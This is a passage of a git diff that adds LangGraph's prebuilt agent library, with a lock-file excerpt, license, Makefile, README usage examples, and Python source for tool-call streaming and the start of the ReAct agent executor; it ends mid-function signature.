"https://files.pythonhosted.org/packages/8d/09/d0a2a14fc3439c5f874042dca72a79c70a532090b7ba0003be73fee37ae2/zstandard-0.25.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:05df5136bc5a011f33cd25bc9f506e7426c0c9b3f9954f056831ce68f3b6689f", size = 640658, upload-time = "2025-09-14T22:17:55.423Z" }, + { url = "https://files.pythonhosted.org/packages/5d/7c/8b6b71b1ddd517f68ffb55e10834388d4f793c49c6b83effaaa05785b0b4/zstandard-0.25.0-cp314-cp314-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:f604efd28f239cc21b3adb53eb061e2a205dc164be408e553b41ba2ffe0ca15c", size = 5379849, upload-time = "2025-09-14T22:17:57.372Z" }, + { url = "https://files.pythonhosted.org/packages/a4/86/a48e56320d0a17189ab7a42645387334fba2200e904ee47fc5a26c1fd8ca/zstandard-0.25.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:223415140608d0f0da010499eaa8ccdb9af210a543fac54bce15babbcfc78439", size = 5058095, upload-time = "2025-09-14T22:17:59.498Z" }, + { url = "https://files.pythonhosted.org/packages/f8/ad/eb659984ee2c0a779f9d06dbfe45e2dc39d99ff40a319895df2d3d9a48e5/zstandard-0.25.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2e54296a283f3ab5a26fc9b8b5d4978ea0532f37b231644f367aa588930aa043", size = 5551751, upload-time = "2025-09-14T22:18:01.618Z" }, + { url = "https://files.pythonhosted.org/packages/61/b3/b637faea43677eb7bd42ab204dfb7053bd5c4582bfe6b1baefa80ac0c47b/zstandard-0.25.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ca54090275939dc8ec5dea2d2afb400e0f83444b2fc24e07df7fdef677110859", size = 6364818, upload-time = "2025-09-14T22:18:03.769Z" }, + { url = "https://files.pythonhosted.org/packages/31/dc/cc50210e11e465c975462439a492516a73300ab8caa8f5e0902544fd748b/zstandard-0.25.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e09bb6252b6476d8d56100e8147b803befa9a12cea144bbe629dd508800d1ad0", size = 5560402, upload-time = "2025-09-14T22:18:05.954Z" }, + { url = "https://files.pythonhosted.org/packages/c9/ae/56523ae9c142f0c08efd5e868a6da613ae76614eca1305259c3bf6a0ed43/zstandard-0.25.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a9ec8c642d1ec73287ae3e726792dd86c96f5681eb8df274a757bf62b750eae7", size = 4955108, upload-time = "2025-09-14T22:18:07.68Z" }, + { url = "https://files.pythonhosted.org/packages/98/cf/c899f2d6df0840d5e384cf4c4121458c72802e8bda19691f3b16619f51e9/zstandard-0.25.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a4089a10e598eae6393756b036e0f419e8c1d60f44a831520f9af41c14216cf2", size = 5269248, upload-time = "2025-09-14T22:18:09.753Z" }, + { url = "https://files.pythonhosted.org/packages/1b/c0/59e912a531d91e1c192d3085fc0f6fb2852753c301a812d856d857ea03c6/zstandard-0.25.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f67e8f1a324a900e75b5e28ffb152bcac9fbed1cc7b43f99cd90f395c4375344", size = 5430330, upload-time = "2025-09-14T22:18:11.966Z" }, + { url = "https://files.pythonhosted.org/packages/a0/1d/7e31db1240de2df22a58e2ea9a93fc6e38cc29353e660c0272b6735d6669/zstandard-0.25.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:9654dbc012d8b06fc3d19cc825af3f7bf8ae242226df5f83936cb39f5fdc846c", size = 5811123, upload-time = "2025-09-14T22:18:13.907Z" }, + { url = "https://files.pythonhosted.org/packages/f6/49/fac46df5ad353d50535e118d6983069df68ca5908d4d65b8c466150a4ff1/zstandard-0.25.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4203ce3b31aec23012d3a4cf4a2ed64d12fea5269c49aed5e4c3611b938e4088", size = 5359591, upload-time = "2025-09-14T22:18:16.465Z" }, + { url = "https://files.pythonhosted.org/packages/c2/38/f249a2050ad1eea0bb364046153942e34abba95dd5520af199aed86fbb49/zstandard-0.25.0-cp314-cp314-win32.whl", hash = "sha256:da469dc041701583e34de852d8634703550348d5822e66a0c827d39b05365b12", size = 444513, upload-time = "2025-09-14T22:18:20.61Z" }, + { url = "https://files.pythonhosted.org/packages/3a/43/241f9615bcf8ba8903b3f0432da069e857fc4fd1783bd26183db53c4804b/zstandard-0.25.0-cp314-cp314-win_amd64.whl", hash = "sha256:c19bcdd826e95671065f8692b5a4aa95c52dc7a02a4c5a0cac46deb879a017a2", size = 516118, upload-time = "2025-09-14T22:18:17.849Z" }, + { url = "https://files.pythonhosted.org/packages/f0/ef/da163ce2450ed4febf6467d77ccb4cd52c4c30ab45624bad26ca0a27260c/zstandard-0.25.0-cp314-cp314-win_arm64.whl", hash = "sha256:d7541afd73985c630bafcd6338d2518ae96060075f9463d7dc14cfb33514383d", size = 476940, upload-time = "2025-09-14T22:18:19.088Z" }, +] diff --git a/libs/prebuilt/LICENSE b/libs/prebuilt/LICENSE new file mode 100644 index 0000000..fc0602f --- /dev/null +++ b/libs/prebuilt/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 LangChain, Inc. + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/libs/prebuilt/Makefile b/libs/prebuilt/Makefile new file mode 100644 index 0000000..3f5ca1e --- /dev/null +++ b/libs/prebuilt/Makefile @@ -0,0 +1,83 @@ +.PHONY: all format lint type test test-fast test_watch integration_tests spell_check spell_fix benchmark profile + +# Default target executed when no arguments are given to make. +all: help + +###################### +# TESTING AND COVERAGE +###################### + +start-services: + docker compose -f tests/compose-postgres.yml -f tests/compose-redis.yml up -V --force-recreate --wait --remove-orphans + +stop-services: + docker compose -f tests/compose-postgres.yml -f tests/compose-redis.yml down -v + +TEST ?= . + +test-fast: + LANGGRAPH_TEST_FAST=1 uv run pytest $(TEST) + +test: + make start-services && LANGGRAPH_TEST_FAST=0 uv run --active pytest $(TEST); \ + EXIT_CODE=$$?; \ + make stop-services; \ + exit $$EXIT_CODE + +test_watch: + make start-services && LANGGRAPH_TEST_FAST=0 uv run ptw $(TEST); \ + EXIT_CODE=$$?; \ + make stop-services; \ + exit $$EXIT_CODE + +###################### +# LINTING AND FORMATTING +###################### + +# Define a variable for Python and notebook files. +PYTHON_FILES=. +lint format: PYTHON_FILES=. +lint_diff format_diff: PYTHON_FILES=$(shell git diff --name-only --relative --diff-filter=d main . | grep -E '\.py$$|\.ipynb$$') +lint_package: PYTHON_FILES=langgraph +lint_tests: PYTHON_FILES=tests + +lint lint_diff lint_package lint_tests: + uv run ruff check . + [ "$(PYTHON_FILES)" = "" ] || uv run ruff format $(PYTHON_FILES) --diff + [ "$(PYTHON_FILES)" = "" ] || uv run ruff check --select I $(PYTHON_FILES) + [ "$(PYTHON_FILES)" = "" ] || uv run ty check langgraph + +type: + uv run ty check langgraph + +format format_diff: + uv run ruff format $(PYTHON_FILES) + uv run ruff check --fix $(PYTHON_FILES) + +spell_check: + uv run codespell --toml pyproject.toml + +spell_fix: + uv run codespell --toml pyproject.toml -w + + +###################### +# HELP +###################### + +help: + @echo '====================' + @echo '-- DOCUMENTATION --' + + @echo '-- LINTING --' + @echo 'format - run code formatters' + @echo 'lint - run linters' + @echo 'type - run type checking' + @echo 'spell_check - run codespell on the project' + @echo 'spell_fix - run codespell on the project and fix the errors' + @echo '-- TESTS --' + @echo 'coverage - run unit tests and generate coverage report' + @echo 'test - run unit tests' + @echo 'test-fast - run unit tests with in-memory checkpointer only' + @echo 'test TEST_FILE= - run all tests in file' + @echo 'test_watch - run unit tests in watch mode' diff --git a/libs/prebuilt/README.md b/libs/prebuilt/README.md new file mode 100644 index 0000000..b97ac67 --- /dev/null +++ b/libs/prebuilt/README.md @@ -0,0 +1,147 @@ +# LangGraph Prebuilt + +[![PyPI - Version](https://img.shields.io/pypi/v/langgraph-prebuilt?label=%20)](https://pypi.org/project/langgraph-prebuilt/#history) +[![PyPI - License](https://img.shields.io/pypi/l/langgraph-prebuilt)](https://opensource.org/licenses/MIT) +[![PyPI - Downloads](https://img.shields.io/pepy/dt/langgraph-prebuilt)](https://pypistats.org/packages/langgraph-prebuilt) +[![Twitter](https://img.shields.io/twitter/url/https/twitter.com/langchain_oss.svg?style=social&label=Follow%20%40LangChain)](https://x.com/langchain_oss) + +To help you ship LangGraph apps to production faster, check out [LangSmith](https://www.langchain.com/langsmith). +[LangSmith](https://www.langchain.com/langsmith) is a unified developer platform for building, testing, and monitoring LLM applications. + +## Quick Install + +```bash +uv add langgraph +``` + +## 🤔 What is this? + +This library defines high-level APIs for creating and executing LangGraph agents and tools. It includes prebuilt components such as `create_react_agent`, `ToolNode`, validation helpers, and Agent Inbox schemas. + +## 📖 Documentation + +For full documentation, see the [API reference](https://reference.langchain.com/python/langgraph.prebuilt/). For conceptual guides and tutorials, see the [LangGraph Docs](https://docs.langchain.com/oss/python/langgraph/overview). + +> [!IMPORTANT] +> This library is bundled with `langgraph`; most users should install `langgraph` instead of installing `langgraph-prebuilt` directly. + +## Agents + +`langgraph-prebuilt` provides an [implementation](https://reference.langchain.com/python/langgraph.prebuilt/chat_agent_executor/create_react_agent) of a tool-calling ReAct-style agent - `create_react_agent`: + +```bash +uv add langchain-anthropic +``` + +```python +from langchain_anthropic import ChatAnthropic +from langgraph.prebuilt import create_react_agent + +# Define the tools for the agent to use +def search(query: str): + """Call to surf the web.""" + # This is a placeholder, but don't tell the LLM that... + if "sf" in query.lower() or "san francisco" in query.lower(): + return "It's 60 degrees and foggy." + return "It's 90 degrees and sunny." + +tools = [search] +model = ChatAnthropic(model="claude-3-7-sonnet-latest") + +app = create_react_agent(model, tools) +# run the agent +app.invoke( + {"messages": [{"role": "user", "content": "what is the weather in sf"}]}, +) +``` + +## Tools + +### ToolNode + +`langgraph-prebuilt` provides an [implementation](https://reference.langchain.com/python/langgraph.prebuilt/tool_node/ToolNode) of a node that executes tool calls - `ToolNode`: + +```python +from langgraph.prebuilt import ToolNode +from langchain_core.messages import AIMessage + +def search(query: str): + """Call to surf the web.""" + # This is a placeholder, but don't tell the LLM that... + if "sf" in query.lower() or "san francisco" in query.lower(): + return "It's 60 degrees and foggy." + return "It's 90 degrees and sunny." + +tool_node = ToolNode([search]) +tool_calls = [{"name": "search", "args": {"query": "what is the weather in sf"}, "id": "1"}] +ai_message = AIMessage(content="", tool_calls=tool_calls) +# execute tool call +tool_node.invoke({"messages": [ai_message]}) +``` + +### ValidationNode + +`langgraph-prebuilt` provides an [implementation](https://reference.langchain.com/python/langgraph.prebuilt/tool_validator/ValidationNode) of a node that validates tool calls against a pydantic schema - `ValidationNode`: + +```python +from pydantic import BaseModel, field_validator +from langgraph.prebuilt import ValidationNode +from langchain_core.messages import AIMessage + + +class SelectNumber(BaseModel): + a: int + + @field_validator("a") + def a_must_be_meaningful(cls, v): + if v != 37: + raise ValueError("Only 37 is allowed") + return v + +validation_node = ValidationNode([SelectNumber]) +validation_node.invoke({ + "messages": [AIMessage("", tool_calls=[{"name": "SelectNumber", "args": {"a": 42}, "id": "1"}])] +}) +``` + +## Agent Inbox + +The library contains schemas for using the [Agent Inbox](https://github.com/langchain-ai/agent-inbox) with LangGraph agents. Learn more about how to use Agent Inbox [here](https://github.com/langchain-ai/agent-inbox#interrupts). + +```python +from langgraph.types import interrupt +from langgraph.prebuilt.interrupt import HumanInterrupt, HumanResponse + +def my_graph_function(): + # Extract the last tool call from the `messages` field in the state + tool_call = state["messages"][-1].tool_calls[0] + # Create an interrupt + request: HumanInterrupt = { + "action_request": { + "action": tool_call['name'], + "args": tool_call['args'] + }, + "config": { + "allow_ignore": True, + "allow_respond": True, + "allow_edit": False, + "allow_accept": False + }, + "description": _generate_email_markdown(state) # Generate a detailed markdown description. + } + # Send the interrupt request inside a list, and extract the first response + response = interrupt([request])[0] + if response['type'] == "response": + # Do something with the response + ... +``` + +## 📕 Releases & Versioning + +See our [Releases](https://docs.langchain.com/oss/python/release-policy) and [Versioning](https://docs.langchain.com/oss/python/versioning) policies. + +## 💁 Contributing + +As an open-source project in a rapidly developing field, we are extremely open to contributions, whether it be in the form of a new feature, improved infrastructure, or better documentation. + +For detailed information on how to contribute, see the [Contributing Guide](https://docs.langchain.com/oss/python/contributing/overview). diff --git a/libs/prebuilt/langgraph/prebuilt/__init__.py b/libs/prebuilt/langgraph/prebuilt/__init__.py new file mode 100644 index 0000000..0d87952 --- /dev/null +++ b/libs/prebuilt/langgraph/prebuilt/__init__.py @@ -0,0 +1,23 @@ +"""langgraph.prebuilt exposes a higher-level API for creating and executing agents and tools.""" + +from langgraph.prebuilt._tool_call_transformer import ToolCallTransformer +from langgraph.prebuilt.chat_agent_executor import create_react_agent +from langgraph.prebuilt.tool_node import ( + InjectedState, + InjectedStore, + ToolNode, + ToolRuntime, + tools_condition, +) +from langgraph.prebuilt.tool_validator import ValidationNode + +__all__ = [ + "create_react_agent", + "ToolNode", + "ToolCallTransformer", + "tools_condition", + "ValidationNode", + "InjectedState", + "InjectedStore", + "ToolRuntime", +] diff --git a/libs/prebuilt/langgraph/prebuilt/_tool_call_stream.py b/libs/prebuilt/langgraph/prebuilt/_tool_call_stream.py new file mode 100644 index 0000000..da2e1c7 --- /dev/null +++ b/libs/prebuilt/langgraph/prebuilt/_tool_call_stream.py @@ -0,0 +1,117 @@ +"""In-process handle for a single tool call's streaming execution. + +Mirrors the shape of `ChatModelStream` from langchain-core but simpler — +a tool has one output channel, no content-block multiplexing. Populated +by `ToolCallTransformer` as `tool-started` / `tool-output-delta` / +`tool-finished` / `tool-error` events flow in on the `tools` channel. +""" + +from __future__ import annotations + +from collections.abc import AsyncIterator, Iterator +from typing import Any + +from langgraph.stream.stream_channel import StreamChannel + + +class ToolCallStream: + """Scoped view of a single tool call's lifecycle. + + Yielded on `run.tool_calls` once per `tool-started` event. Fields + are populated as events arrive: + + - `tool_call_id`, `tool_name`, `input`: stable from the start event. + - `output_deltas`: a `StreamChannel` of delta chunks. Iterate (sync or + async) to consume partial output in arrival order. + - `output`: terminal payload from `tool-finished`, or `None` if the + call failed or is still in flight. + - `error`: terminal error string from `tool-error`, or `None` if the + call succeeded or is still in flight. + - `completed`: True once a terminal event (`tool-finished` or + `tool-error`) has been observed. + + `ToolCallStream` is not meant to be constructed by end users — it's + produced by `ToolCallTransformer` as events flow through the mux. + """ + + def __init__( + self, + tool_call_id: str, + tool_name: str, + input: dict[str, Any] | None = None, + ) -> None: + """Initialize a fresh handle for a tool call. + + Args: + tool_call_id: The `tool_call_id` from the AIMessage. + tool_name: The tool's name. + input: The tool's input arguments (as reported by + `on_tool_start`), or `None` if none were captured. + """ + self.tool_call_id = tool_call_id + self.tool_name = tool_name + self.input = input + self._output_deltas: StreamChannel[Any] = StreamChannel() + self.output: Any = None + self.error: str | None = None + self.completed = False + + @property + def output_deltas(self) -> StreamChannel[Any]: + """The channel of streamed `tool-output-delta` payloads. + + Iterate (sync or async depending on how the run was started) + to consume partial output in arrival order. The log closes when + the tool finishes or errors. + """ + return self._output_deltas + + def _bind(self, *, is_async: bool) -> None: + """Bind the deltas log to sync or async iteration. + + Called by `ToolCallTransformer` when constructing this handle so + the log matches the enclosing mux's mode. + """ + self._output_deltas._bind(is_async=is_async) + + def _push_delta(self, delta: Any) -> None: + self._output_deltas.push(delta) + + def _finish(self, output: Any) -> None: + self.output = output + self.completed = True + self._output_deltas.close() + + def _fail(self, message: str) -> None: + self.error = message + self.completed = True + self._output_deltas.close() + + def __iter__(self) -> Iterator[Any]: + """Iterate delta chunks synchronously. + + Equivalent to `iter(self.output_deltas)`. Raises `TypeError` if + the underlying log is bound to async mode. + """ + return iter(self._output_deltas) + + def __aiter__(self) -> AsyncIterator[Any]: + """Iterate delta chunks asynchronously. + + Equivalent to `aiter(self.output_deltas)`. Raises `TypeError` + if the underlying log is bound to sync mode. + """ + return self._output_deltas.__aiter__() + + def __repr__(self) -> str: + status = ( + "completed" + if self.completed and self.error is None + else "failed" + if self.completed + else "running" + ) + return ( + f"ToolCallStream(tool_call_id={self.tool_call_id!r}, " + f"tool_name={self.tool_name!r}, status={status})" + ) diff --git a/libs/prebuilt/langgraph/prebuilt/_tool_call_transformer.py b/libs/prebuilt/langgraph/prebuilt/_tool_call_transformer.py new file mode 100644 index 0000000..37ed1b8 --- /dev/null +++ b/libs/prebuilt/langgraph/prebuilt/_tool_call_transformer.py @@ -0,0 +1,165 @@ +"""Transformer that projects `tools` channel events into `ToolCallStream`s.""" + +from __future__ import annotations + +from collections.abc import Awaitable, Callable +from typing import Any + +from langchain_core.messages import ToolMessage +from langgraph.stream._types import ProtocolEvent, StreamTransformer +from langgraph.stream.stream_channel import StreamChannel + +from langgraph.prebuilt._tool_call_stream import ToolCallStream + + +def _is_serialized_tool_message(value: Any) -> bool: + """Detect a serialized LangChain `ToolMessage` payload. + + Example: + { + "lc": 1, + "type": "constructor", + "id": ["langchain_core", "messages", "ToolMessage"], + "kwargs": {"content": "raw tool result", "tool_call_id": "call_1"}, + } + """ + return ( + isinstance(value, dict) + and value.get("type") == "constructor" + and isinstance(value.get("id"), list) + and value["id"][-1] == "ToolMessage" + ) + + +def _normalize_tool_output(output: Any) -> Any: + if isinstance(output, ToolMessage): + return output.content + if _is_serialized_tool_message(output): + kwargs = output.get("kwargs") + if isinstance(kwargs, dict): + return kwargs.get("content") + return output + + +class ToolCallTransformer(StreamTransformer): + """Project `tools` channel events into `ToolCallStream` handles. + + Each `tool-started` event spawns a `ToolCallStream`, pushed onto + `run.tool_calls`. Subsequent `tool-output-delta` events append to + that stream's deltas log; `tool-finished` and `tool-error` close it. + + Native transformer — the `tool_calls` projection is exposed as a + direct attribute on the run stream. + + A nameless `StreamChannel[ToolCallStream]` is used (no protocol + auto-forwarding) because the live handles are not serializable and + should not be injected into the main event log. Wire consumers + subscribe to the `tools` channel instead, where the raw protocol + events flow through untouched by this transformer (`process` + returns `True`). + + Registered explicitly by users at compile time via + `builder.compile(transformers=[ToolCallTransformer])` — not a + default built-in, so the `tools` channel is user-opt-in. + """ + + _native = True + required_stream_modes = ("tools",) + + def __init__(self, scope: tuple[str, ...] = ()) -> None: + super().__init__(scope) + self._log: StreamChannel[ToolCallStream] = StreamChannel() + self._active: dict[str, ToolCallStream] = {} + self._is_async = False + self._pump_fn: Callable[[], bool] | None = None + self._apump_fn: Callable[[], Awaitable[bool]] | None = None + + def init(self) -> dict[str, Any]: + return {"tool_calls": self._log} + + def _bind_pump(self, fn: Callable[[], bool]) -> None: + """Wire the sync pull callback onto this transformer. + + Called by `StreamMux.bind_pump`. Stored so each new + `ToolCallStream` created by `process` can wire its deltas log + for pump-driven iteration. + """ + self._pump_fn = fn + self._is_async = False + + def _bind_apump(self, fn: Callable[[], Awaitable[bool]]) -> None: + """Async counterpart to `_bind_pump`.""" + self._apump_fn = fn + self._is_async = True + + def _new_stream( + self, + tool_call_id: str, + tool_name: str, + tool_input: dict[str, Any] | None, + ) -> ToolCallStream: + stream = ToolCallStream(tool_call_id, tool_name, tool_input) + stream._bind(is_async=self._is_async) + if self._apump_fn is not None: + stream._output_deltas._arequest_more = self._apump_fn + if self._pump_fn is not None: + stream._output_deltas._request_more = self._pump_fn + return stream + + def process(self, event: ProtocolEvent) -> bool: + if event["method"] != "tools": + return True + + # Only project events emitted at this transformer's scope. Subgraph + # events still flow through the parent's mux (the parent's main + # event log keeps them) but they belong to the child mini-mux's + # `tool_calls` projection, not the parent's. + if tuple(event["params"]["namespace"]) != self.scope: + return True + + data = event["params"]["data"] + tool_call_id = data.get("tool_call_id") + if tool_call_id is None: + return True + event_type = data.get("event") + + stream: ToolCallStream | None + if event_type == "tool-started": + stream = self._new_stream( + tool_call_id, + data.get("tool_name", ""), + data.get("input"), + ) + self._active[tool_call_id] = stream + self._log.push(stream) + elif event_type == "tool-output-delta": + stream = self._active.get(tool_call_id) + if stream is not None: + stream._push_delta(data.get("delta")) + elif event_type == "tool-finished": + stream = self._active.pop(tool_call_id, None) + if stream is not None: + stream._finish(_normalize_tool_output(data.get("output"))) + elif event_type == "tool-error": + stream = self._active.pop(tool_call_id, None) + if stream is not None: + stream._fail(data.get("message", "")) + + # Pass-through — wire consumers subscribe to the `tools` channel + # directly and reconstruct handles client-side. + return True + + def finalize(self) -> None: + """Close any still-active tool streams left open at run end.""" + for stream in self._active.values(): + if not stream.completed: + stream._finish(None) + self._active.clear() + + def fail(self, err: BaseException) -> None: + """Fail any still-active tool streams when the run errors.""" + message = str(err) + for stream in self._active.values(): + if not stream.completed: + stream._fail(message) + self._active.clear() diff --git a/libs/prebuilt/langgraph/prebuilt/chat_agent_executor.py b/libs/prebuilt/langgraph/prebuilt/chat_agent_executor.py new file mode 100644 index 0000000..6c11c88 --- /dev/null +++ b/libs/prebuilt/langgraph/prebuilt/chat_agent_executor.py @@ -0,0 +1,1015 @@ +import inspect +import warnings +from collections.abc import Awaitable, Callable, Sequence +from typing import ( + Annotated, + Any, + Literal, + TypeVar, + cast, + get_type_hints, +) + +from langchain_core.language_models import ( + BaseChatModel, + LanguageModelInput, + LanguageModelLike, +) +from langchain_core.messages import ( + AIMessage, + AnyMessage, + BaseMessage, + SystemMessage, + ToolMessage, +) +from langchain_core.runnables import ( + Runnable, + RunnableBinding, + RunnableConfig, + RunnableSequence, +) +from langchain_core.tools import BaseTool +from langgraph._internal._runnable import RunnableCallable, RunnableLike +from langgraph._internal._typing import MISSING +from langgraph.errors import ErrorCode, create_error_message +from langgraph.graph import END, StateGraph +from langgraph.graph.message import add_messages +from langgraph.graph.state import CompiledStateGraph +from langgraph.managed import RemainingSteps +from langgraph.runtime import Runtime +from langgraph.store.base import BaseStore +from langgraph.types import Checkpointer, Send +from langgraph.typing import ContextT +from langgraph.warnings import LangGraphDeprecatedSinceV10 +from pydantic import BaseModel +from typing_extensions import NotRequired, TypedDict, deprecated + +from langgraph.prebuilt.tool_node import ToolCallWithContext, ToolNode + +StructuredResponse = dict | BaseModel +StructuredResponseSchema = dict | type[BaseModel] + + +@deprecated( + "AgentState has been moved to `langchain.agents`. Please update your import to `from langchain.agents import AgentState`.", + category=LangGraphDeprecatedSinceV10, +) +class AgentState(TypedDict): + """The state of the agent.""" + + messages: Annotated[Sequence[BaseMessage], add_messages] + + remaining_steps: NotRequired[RemainingSteps] + + +@deprecated( + "AgentStatePydantic has been deprecated in favor of AgentState in `langchain.agents`.", + category=LangGraphDeprecatedSinceV10, +) +class AgentStatePydantic(BaseModel): + """The state of the agent.""" + + messages: Annotated[Sequence[BaseMessage], add_messages] + + remaining_steps: RemainingSteps = 25 + + +with warnings.catch_warnings(): + warnings.filterwarnings( + "ignore", + category=LangGraphDeprecatedSinceV10, + message="AgentState has been moved to `langchain.agents`.*", + ) + + @deprecated( + "AgentStateWithStructuredResponse has been deprecated in favor of AgentState in `langchain.agents`.", + category=LangGraphDeprecatedSinceV10, + ) + class AgentStateWithStructuredResponse(AgentState): + """The state of the agent with a structured response.""" + + structured_response: StructuredResponse + + +with warnings.catch_warnings(): + warnings.filterwarnings( + "ignore", + category=LangGraphDeprecatedSinceV10, + message="AgentStatePydantic has been deprecated in favor of AgentState in `langchain.agents`.", + ) + + @deprecated( + "AgentStateWithStructuredResponsePydantic has been deprecated in favor of AgentState in `langchain.agents`.", + category=LangGraphDeprecatedSinceV10, + ) + class AgentStateWithStructuredResponsePydantic(AgentStatePydantic): + """The state of the agent with a structured response.""" + + structured_response: StructuredResponse + + +with warnings.catch_warnings(): + warnings.filterwarnings( + "ignore", + category=LangGraphDeprecatedSinceV10, + ) + StateSchema = TypeVar("StateSchema", bound=AgentState | AgentStatePydantic) + StateSchemaType = type[StateSchema] + +PROMPT_RUNNABLE_NAME = "Prompt" + +Prompt = ( + SystemMessage + | str + | Callable[[StateSchema], LanguageModelInput] + | Runnable[StateSchema, LanguageModelInput] +) + + +def _get_state_value(state: StateSchema, key: str, default: Any = None) -> Any: + return ( + state.get(key, default) + if isinstance(state, dict) + else getattr(state, key, default) + ) + + +def _get_prompt_runnable(prompt: Prompt | None) -> Runnable: + prompt_runnable: Runnable + if prompt is None: + prompt_runnable = RunnableCallable( + lambda state: _get_state_value(state, "messages"), name=PROMPT_RUNNABLE_NAME + ) + elif isinstance(prompt, str): + _system_message: BaseMessage = SystemMessage(content=prompt) + prompt_runnable = RunnableCallable( + lambda state: [_system_message] + _get_state_value(state, "messages"), + name=PROMPT_RUNNABLE_NAME, + ) + elif isinstance(prompt, SystemMessage): + prompt_runnable = RunnableCallable( + lambda state: [prompt] + _get_state_value(state, "messages"), + name=PROMPT_RUNNABLE_NAME, + ) + elif inspect.iscoroutinefunction(prompt): + prompt_runnable = RunnableCallable( + None, + prompt, + name=PROMPT_RUNNABLE_NAME, + ) + elif callable(prompt): + prompt_runnable = RunnableCallable( + prompt, + name=PROMPT_RUNNABLE_NAME, + ) + elif isinstance(prompt, Runnable): + prompt_runnable = prompt + else: + raise ValueError(f"Got unexpected type for `prompt`: {type(prompt)}") + + return prompt_runnable + + +def _should_bind_tools( + model: LanguageModelLike, tools: Sequence[BaseTool], num_builtin: int = 0 +) -> bool: + if isinstance(model, RunnableSequence): + model = next( + ( + step + for step in model.steps + if isinstance(step, (RunnableBinding, BaseChatModel)) + ), + model, + ) + + if not isinstance(model, RunnableBinding): + return True + + if "tools" not in model.kwargs: + return True + + bound_tools = model.kwargs["tools"] + if len(tools) != len(bound_tools) - num_builtin: + raise ValueError( + "Number of tools in the model.bind_tools() and tools passed to create_react_agent must match" + f" Got {len(tools)} tools, expected {len(bound_tools) - num_builtin}" + ) + + tool_names = set(tool.name for tool in tools) + bound_tool_names = set() + for bound_tool in bound_tools: + # OpenAI-style tool + if bound_tool.get("type") == "function": + bound_tool_name = bound_tool["function"]["name"] + # Anthropic-style tool + elif bound_tool.get("name"): + bound_tool_name = bound_tool["name"] + else: + # unknown tool type so we'll ignore it + continue + + bound_tool_names.add(bound_tool_name) + + if missing_tools := tool_names - bound_tool_names: + raise ValueError(f"Missing tools '{missing_tools}' in the model.bind_tools()") + + return False + + +def _get_model(model: LanguageModelLike) -> BaseChatModel: + """Get the underlying model from a RunnableBinding or return the model itself.""" + if isinstance(model, RunnableSequence): + model = next( + ( + step + for step in model.steps + if isinstance(step, (RunnableBinding, BaseChatModel)) + ), + model, + ) + + if isinstance(model, RunnableBinding): + model = model.bound + + if not isinstance(model, BaseChatModel): + raise TypeError( + f"Expected `model` to be a ChatModel or RunnableBinding (e.g. model.bind_tools(...)), got {type(model)}" + ) + + return model + + +def _validate_chat_history( + messages: Sequence[BaseMessage], +) -> None: + """Validate that all tool calls in AIMessages have a corresponding ToolMessage.""" + all_tool_calls = [ + tool_call + for message in messages + if isinstance(message, AIMessage) + for tool_call in message.tool_calls + ] + tool_call_ids_with_results = { + message.tool_call_id for message in messages if isinstance(message, ToolMessage) + } + tool_calls_without_results = [ + tool_call + for tool_call in all_tool_calls + if tool_call["id"] not in tool_call_ids_with_results + ] + if not tool_calls_without_results: + return + + error_message = create_error_message( + message="Found AIMessages with tool_calls that do not have a corresponding ToolMessage. " + f"Here are the first few of those tool calls: {tool_calls_without_results[:3]}.\n\n" + "Every tool call (LLM requesting to call a tool) in the message history MUST have a corresponding ToolMessage " + "(result of a tool invocation to return to the LLM) - this is required by most LLM providers.", + error_code=ErrorCode.INVALID_CHAT_HISTORY, + ) + raise ValueError(error_message) + + +@deprecated( + "create_react_agent has been moved to `langchain.agents`. Please update your import to `from langchain.agents import create_agent`.", + category=LangGraphDeprecatedSinceV10, +) +def create_react_agent( + model: str + | LanguageModelLike + | Callable[[StateSchema, Runtime[ContextT]], BaseChatModel] + | Callable[[StateSchema, Runtime[ContextT]], Awaitable[BaseChatModel]] + | Callable[ + [StateSchema, Runtime[ContextT]], Runnable[LanguageModelInput, BaseMessage] + ] + | Callable[ + [StateSchema, Runtime[ContextT]], + Awaitable[Runnable[LanguageModelInput, BaseMessage]], + ], + tools: Sequence[BaseTool | Callable | dict[str, Any]] | ToolNode, + *, + prompt: Prompt | None = None, + response_format: StructuredResponseSchema + | tuple[str, StructuredResponseSchema] + | None = None, + pre_model_hook: RunnableLike | None = None, + post_model_hook: RunnableLike | None = None, + state_schema: StateSchemaType | None = None, + context_schema: type[Any] | None = None, + checkpointer: Checkpointer | None = None, + store: BaseStore | None = None, + interrupt_before: list[str] | None = None, + interrupt_after: list[str] | None = None, + debug: bool = False, + version: Literal["v1", "v2"] = "v2", + name: str | None = None, + 